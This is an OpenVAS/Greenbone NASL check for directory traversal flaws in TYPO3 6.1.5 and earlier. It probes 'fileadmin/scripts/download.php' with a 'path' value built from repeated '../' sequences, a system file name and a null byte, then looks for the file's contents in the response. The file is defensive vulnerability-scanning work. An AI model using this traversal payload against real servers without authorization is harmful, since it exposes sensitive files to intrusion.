TYPO3 <= 6.1.5 Multiple Directory Traversal Vulnerabilities

# SPDX-FileCopyrightText: 2013 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:typo3:typo3";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.803776");
  script_version("2025-04-15T05:54:49+0000");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");
  script_tag(name:"last_modification", value:"2025-04-15 05:54:49 +0000 (Tue, 15 Apr 2025)");
  script_tag(name:"creation_date", value:"2013-11-20 11:33:55 +0530 (Wed, 20 Nov 2013)");
  script_name("TYPO3 <= 6.1.5 Multiple Directory Traversal Vulnerabilities");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2013 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_typo3_http_detect.nasl", "os_detection.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("typo3/http/detected");

  script_xref(name:"URL", value:"https://ganmax.com/typo3-directory-traversal-vulnerability/");
  script_xref(name:"URL", value:"http://www.exploit-db.com/exploits/29355");
  script_xref(name:"URL", value:"http://exploitsdownload.com/exploit/php/typo3-directory-traversal-vulnerability");

  script_tag(name:"summary", value:"TYPO3 is prone to multiple directory traversal vulnerabilities.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");

  script_tag(name:"insight", value:"Multiple flaws are due to improper validation of user-supplied
  input via 'file' and 'path' parameters, which allows attackers to read arbitrary files via a ../
  (dot dot) sequences.");

  script_tag(name:"impact", value:"Successful exploitation may allow an attacker to obtain sensitive
  information, which can lead to launching further attacks.");

  script_tag(name:"affected", value:"TYPO3 version 6.1.5 and probably prior.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year
  since the disclosure of this vulnerability. Likely none will be provided anymore. General solution
  options are to upgrade to a newer release, disable respective features, remove the product or
  replace the product by another one.");

  script_tag(name:"solution_type", value:"WillNotFix");
  script_tag(name:"qod_type", value:"remote_vul");

  exit(0);
}

include("misc_func.inc");
include("traversal_func.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");
include("os_func.inc");

if(!port = get_app_port(cpe:CPE, service:"www"))
  exit(0);

if(!dir = get_app_location(cpe:CPE, port:port))
  exit(0);

if(dir == "/")
  dir = "";

files = traversal_files();

foreach file(keys(files)) {
  url = dir + "/fileadmin/scripts/download.php?path=" + crap(data:"../", length:3*15) + files[file] + "%00";
  if(http_vuln_check(port:port, url:url, pattern:file)) {
    report = http_report_vuln_url(port:port, url:url);
    security_message(port:port, data:report);
    exit(0);
  }
}

exit(99);